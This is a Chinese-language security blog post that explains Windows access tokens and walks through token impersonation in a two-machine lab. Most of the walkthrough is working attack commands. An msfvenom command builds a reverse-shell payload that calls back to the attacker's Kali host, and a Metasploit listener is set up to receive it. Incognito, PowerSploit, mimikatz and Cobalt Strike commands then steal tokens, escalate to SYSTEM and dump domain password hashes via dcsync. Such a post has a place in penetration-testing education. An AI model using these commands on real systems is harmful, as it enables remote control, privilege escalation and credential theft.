Windows访问令牌安全探究

0x00 前言

access token俗称为访问令牌,围绕着该访问令牌也有着相应的渗透技巧,故而也就有这篇文章的总结。

0x01 什么是访问令牌(access token)?

访问令牌是用来描述进程或线程安全上下文的对象,令牌所包含的信息是与该user账户相关的进程或线程的身份和权限信息。当user登录时,系统通过将user输入的密码与储存在安全数据库中的密码进行对比。若密码正确,系统此时会为user生成一个访问令牌。之后,该user执行的每个进程都会拥有一个该访问令牌的拷贝。

而令牌就像是一个标识符,标识该账号的一切应用和操作。如下图,分类有 network service、local service、shiyan 三个用户账号创建并运行的进程。

0x02 令牌的作用

当进程或者线程需要访问某个具有安全属性的对象时(通常是内核对象),OS会根据这个Token在该对象的访问控制列表里进行搜索,从而决定该用户或者用户所在的组对该对象是否具有访问权利。

Access Token中具有用户可以使用的特权,这些特权指定了该进程或者线程能否执行一些特定的操作,例如:关闭计算机。

这里我创建了一个test.txt文件,通过截图可以看到,该文件的所有者是 shiyan,因为是该账号创建的,但是 administrator、system、对该文件也是用拥有完全控制的权限的。同时authenticated users类型的账号对该文件是拥有修改权限的。

0x03 令牌的种类

目前访问令牌分为两种令牌:

  1. 主令牌(每一个进程都具有一个唯一的主令牌,进行通过主令牌被开启)
  2. 模拟令牌(在默认的情况下,当线程被开启的时候,所在进程的主令牌会自动附加到当前线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。而指定线程的模拟令牌的过程被称为模拟)

主令牌是与进程相关的;模拟的令牌是与模拟令牌的线程相关的。

而关于进程与线程的关系,确实有点复杂,我简单的说几点:

  • 每个进程至少包含一个线程
  • 进程中所有线程结束后,该进程也会结束
  • 主动结束进程时,如线程还在运行,系统会自动结束还在运行的线程

主令牌是由windows内核创建并分配给进程的默认访问令牌,每一个进程有一个主令牌,它描述了与当前进程相关的用户帐户的安全上下文。同时,一个线程可以模拟一个客户端帐户,允许此线程与安全对象交互时用客户端的安全上下文。一个正模拟客户端的线程拥有一个主令牌和一个模拟令牌。

注:主令牌和模拟令牌,会在系统重启或者关机后全部清除,不然将会一直在内存中存留。也就是说,如果机器不关机或者重启的话,就会存在散落的令牌。但是,由于权限的问题,当前账号只能看到自己的访问令牌和比自己权限低的账号的访问令牌。如果想看到所有访问令牌,需要当前权限为系统最高权限才行。

0x04 访问令牌的组成

Windows access token :

  • 用户(User)。用户账号的SID。若用户登录到本地计算机上的一个账号,则他的 SID来自于本地SAM维护的账号数据库;若用户登录到一个域账号,则他的SID来自于活动目录里用户对象的Object-SID属性。
  • 组(Groups)。包含该用户的安全组的SID列表,表中也包含代表活动目录里用户 账号的用户对象的SID-History属性里的SID。
  • 特权(Privileges)。用户和用户的安全组在本地计算机上拥有的特权列表。
  • 所有者(Owner)。特定用户或安全组的SID,这些用户或安全组默认成为用户所 创建或拥有的任何对象的所有者。
  • 主组(Primary Group)。用户的主安全组的SID。这个信息只由POSIX子系统使用, Windows 2000的其他部分对其忽略。
  • 默认任意访问控制表(Default Discretionary Access Control List, DACL)。一组内置 许可权。在没有其他访问控制信息存在时操作系统将其作用于用户所创建的对象。默认DACL向创建所有者和系统赋予完全控制(Full Control)权限。
  • 源(Source)。导致访问令牌被创建的进程,例如会话管理器、LAN管理器或远程 过程调用(RPC)服务器。
  • 类型(Type)。指示访问令牌是主(primary)令牌还是模拟(impersonation)令牌。 主令牌代表一个进程的安全上下文;模拟令牌是服务进程里的一个线程,用来临时接受一个不同的安全上下文(如服务的一个客户的安全上下文)的令牌。
  • 模拟级别(Impersonation Level)。指示服务对该访问令牌所代表的客户的安全上下 文的接受程度。
  • 统计信息(Statistics)。关于访问令牌本身的信息。操作系统在内部使用这个信息。
  • 限制SID(Restricting SID)。由一个被授权创建受限令牌的进程添加到访问令牌里 的可选的SID列表。限制SID可以将线程的访问限制到低于用户被允许的级别。
  • 会话ID(Session ID)。指示访问令牌是否与终端服务(Terminal Services)客户会 话相关。

而在mimikatz中抓出来的token显示如下:

1
2
3
mimikatz(commandline) # token::whoami
* Process Token : 1426496 L-PC\L S-1-5-21-468267683-2575715905-647264286-1000 (12g,23p) Primary
* Thread Token : no token

0x05 常见的伪造工具

Metasploit 中的 incognito 插件

Windows 平台下的 incognito 工具

Invoke-TokenManipulation.ps1 脚本

Mimkatz 中的 token::list

CobaltSrike 中的 steal_token 插件

0x06 伪造现场–开始

测试机①:Windows7,192.168.3.141

测试机②:kali2017,192.168.3.137

1、Metasploit 中的 incognito 插件

首先,我们生成一个反弹shell,用于在目标机执行。

1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.137 LPORT=4444 -f exe -o token_shell.exe

然后我们在kali上进行监听操作:

1
2
3
4
5
6
7
8
9
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set lhost 192.168.3.137
lhost => 192.168.3.137
msf5 exploit(multi/handler) > run
meterpreter >

进入到 meterpreter 模式下后,我们就可以开始令牌伪造的操作了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
meterpreter > getuid     # 获取当前用户信息
Server username: L-PC\shiyan
meterpreter > getsystem # 进行提高到最高权限
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid # 查看当前用户信息
Server username: NT AUTHORITY\SYSTEM
meterpreter > load incognito # 加载 incognito 插件
Loading extension incognito...Success.
meterpreter > list_tokens -u # 列出当前可以令牌伪造的清单

Delegation Tokens Available
========================================
L-PC\shiyan
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
meterpreter > impersonate_token "NT AUTHORITY\NETWORK SERVICE" # 伪造该用户
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\NETWORK SERVICE
meterpreter > getuid # 查看当前用户信息,阿偶,查看失败,说明系统内置的账号还是有问题的。
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
meterpreter > rev2self # 返回之前的token

我估计可能是内置用户的原因吧,提示的伪造成功,但是权限失败,那继续实操。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
meterpreter > getsystem  # 进行提高到最高权限
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid # 查看当前用户信息
Server username: NT AUTHORITY\SYSTEM
meterpreter > list_tokens -u # 列出当前可以令牌伪造的清单

Delegation Tokens Available
========================================
L-PC\shiyan
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token "L-PC\\shiyan" # 伪造该用户
[+] Delegation token available
[+] Successfully impersonated user L-PC\shiyan
meterpreter > getuid # 获取当前用户信息,伪造成功!
Server username: L-PC\shiyan
meterpreter > drop_token # 返回之前的token,和 rev2self 一样。

除了直接伪造还可以同归UID值进行伪造的。

1
meterpreter > steal_token 1234

这句操作命令,其实都差不多,只不过伪造的UID,效果一样的。

2、Windows 平台下的 incognito 工具

首先,我们去MWR InfoSecurity下载开 incognito 这个工具,地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

然后我们放置到目标机上,因为我登录的用户是 L ,该用户是administrator组的,所以不需要提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:\MK>incognito.exe list_tokens -u   # 列出当前所有散落的令牌 
[-] WARNING: Not running as SYSTEM. Not all tokens will be available.
[*] Enumerating tokens
[*] Listing unique users found

Delegation Tokens Available
============================================
L-PC\L
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
============================================
NT AUTHORITY\ANONYMOUS LOGON

Administrative Privileges Available
============================================
SeAssignPrimaryTokenPrivilege
SeCreateTokenPrivilege
SeTcbPrivilege
SeTakeOwnershipPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeRelabelPrivilege
SeLoadDriverPrivilege
C:\MK>whoami # 查看当前用户
l-pc\l

有点小尴尬,我的 shiyan 这个账号没有登录过,所以在令牌中,未找见。下面我断开下当前用户账号,然后登陆下 shiyan 这个账号,再注销。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
C:\MK>incognito.exe list_tokens -u  # 列出当前所有散落的令牌 
[-] WARNING: Not running as SYSTEM. Not all tokens will be available.
[*] Enumerating tokens
[*] Listing unique users found

Delegation Tokens Available
============================================
L-PC\L
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
============================================
L-PC\shiyan
NT AUTHORITY\ANONYMOUS LOGON

Administrative Privileges Available
============================================
SeAssignPrimaryTokenPrivilege
SeCreateTokenPrivilege
SeTcbPrivilege
SeTakeOwnershipPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeRelabelPrivilege
SeLoadDriverPrivilege

可以看出,只要计算机不重启,账号登录后,再注销,还是会存在散落的令牌。

1
2
3
4
5
6
7
C:\MK>incognito.exe execute -c "L-PC\shiyan" calc.exe  # 利用shiyan的令牌运行个计算器 
[-] WARNING: Not running as SYSTEM. Not all tokens will be available.
[*] Enumerating tokens
[*] Searching for availability of requested token
[+] Requested token found
[-] No Delegation token available
[*] Attempting to create new child process and communicate via anonymous pipe

OK!伪造成功。

那继续提升下权限吧!既然都 list 出 system 的令牌了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\MK>incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe  # 将当前cmd提升到 system 权限
[-] WARNING: Not running as SYSTEM. Not all tokens will be available.
[*] Enumerating tokens
[*] Searching for availability of requested token
[+] Requested token found
[+] Delegation token available
[*] Attempting to create new child process and communicate via anonymous pipe

Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\MK>whoami # 查看当前用户
whoami
nt authority\system

同时,如果想还原的话,就执行下句就还原一开始的token了。

1
incognito.exe execute -c "L-PC\L" cmd.exe

3、Invoke-TokenManipulation.ps1 脚本

Invoke-TokenManipulation.ps1脚本来源于PowerSploit,一个基于powershell的强大的后渗透框架。

脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

由于本地测试环境的问题,各种问题,并且调整限制后,依旧还是存在问题,我就只贴代码了。

1
2
3
4
5
6
7
1. 想法提升当前用户权限为 system 后,再执行操作。
PS > .\Invoke-TokenManipulation -Enumerate | out-file token.txt # 列出当前散落的令牌,并保存到 token.txt 文件里。
PS > .\Invoke-TokenManipulation -Enumerate # 列举当前计算机散落的令牌
PS > .\Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM" # 将当前cmd提升至system权限下
PS > .\Invoke-TokenManipulation -CreateProces "cmd.exe" -ProcesId 1234 # 已UID的形式,提升权限


4、Mimkatz 中的 token::list

把mimikatz放到目标机后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:\MK > mimikatz.exe "privilege::debug" "token::whoami" "TOKEN::List" > token_log.txt
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Oct 16 2015 01:35:44)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 17 modules * * */


mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # token::whoami
* Process Token : 1844846 L-PC\L S-1-5-21-468267683-2575715905-647264286-1000 (12g,23p) Primary
* Thread Token : no token

mimikatz(commandline) # TOKEN::List
Token Id : 0
User name :
SID name :

244 34806 NT AUTHORITY\SYSTEM S-1-5-18 (04g,30p) Primary
......
4900 659843 L-PC\L S-1-5-21-468267683-2575715905-647264286-1000 (12g,23p) Primary
.......
492 71647 NT AUTHORITY\NETWORK SERVICE S-1-5-20 (10g,03p) Primary
.......
492 73243 NT AUTHORITY\LOCAL SERVICE S-1-5-19 (15g,04p) Primary
.......
mimikatz #

因为 TOKEN::List 操作,列举的太多了,我就以点省略了。

1
TOKEN::Elevate 把当前提升为 sytem 令牌

其它的命令还剩下:

1
2
3
mikatz # TOKEN::Elevate /domainadmin 模拟域管令牌
mikatz # lsadump::dcsync /domain:rotkit.org /al /csv 导出域控种的所有用户的密码 hash
mikatz # token::revrt 还原令牌到初始状态

5、CobaltSrike 中的 steal_token 插件

CS这个工具,我对这个也不是很熟练,而且相应演练环境也怎么弄过,就直接贴操作命令了。

1
2
3
4
beacon> getuid  # 查看当前用户
beacon> elvate ms14-058 sytem # 利用 ms14-058 进行提升权限
beacon> steal_token 1234 # 伪造UID为 1234 进程的用户令牌
beacon> rev2self # 返回原始令牌

很多理论性的东西,只要自己操作一遍,才会知道,原来会有这么多坑。。。

0x07 参考文章

[1] https://blog.csdn.net/huhaoxuan2010/article/details/78404136
[2] https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/
[3] https://baike.baidu.com/item/%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C/16846911?fr=aladdin
[4] https://www.lshack.cn/721/


Windows访问令牌安全探究
https://sh1yan.top/2019/06/09/Windows-Access-Token-Security-Exploration/
作者
shiyan
发布于
2019年6月9日
许可协议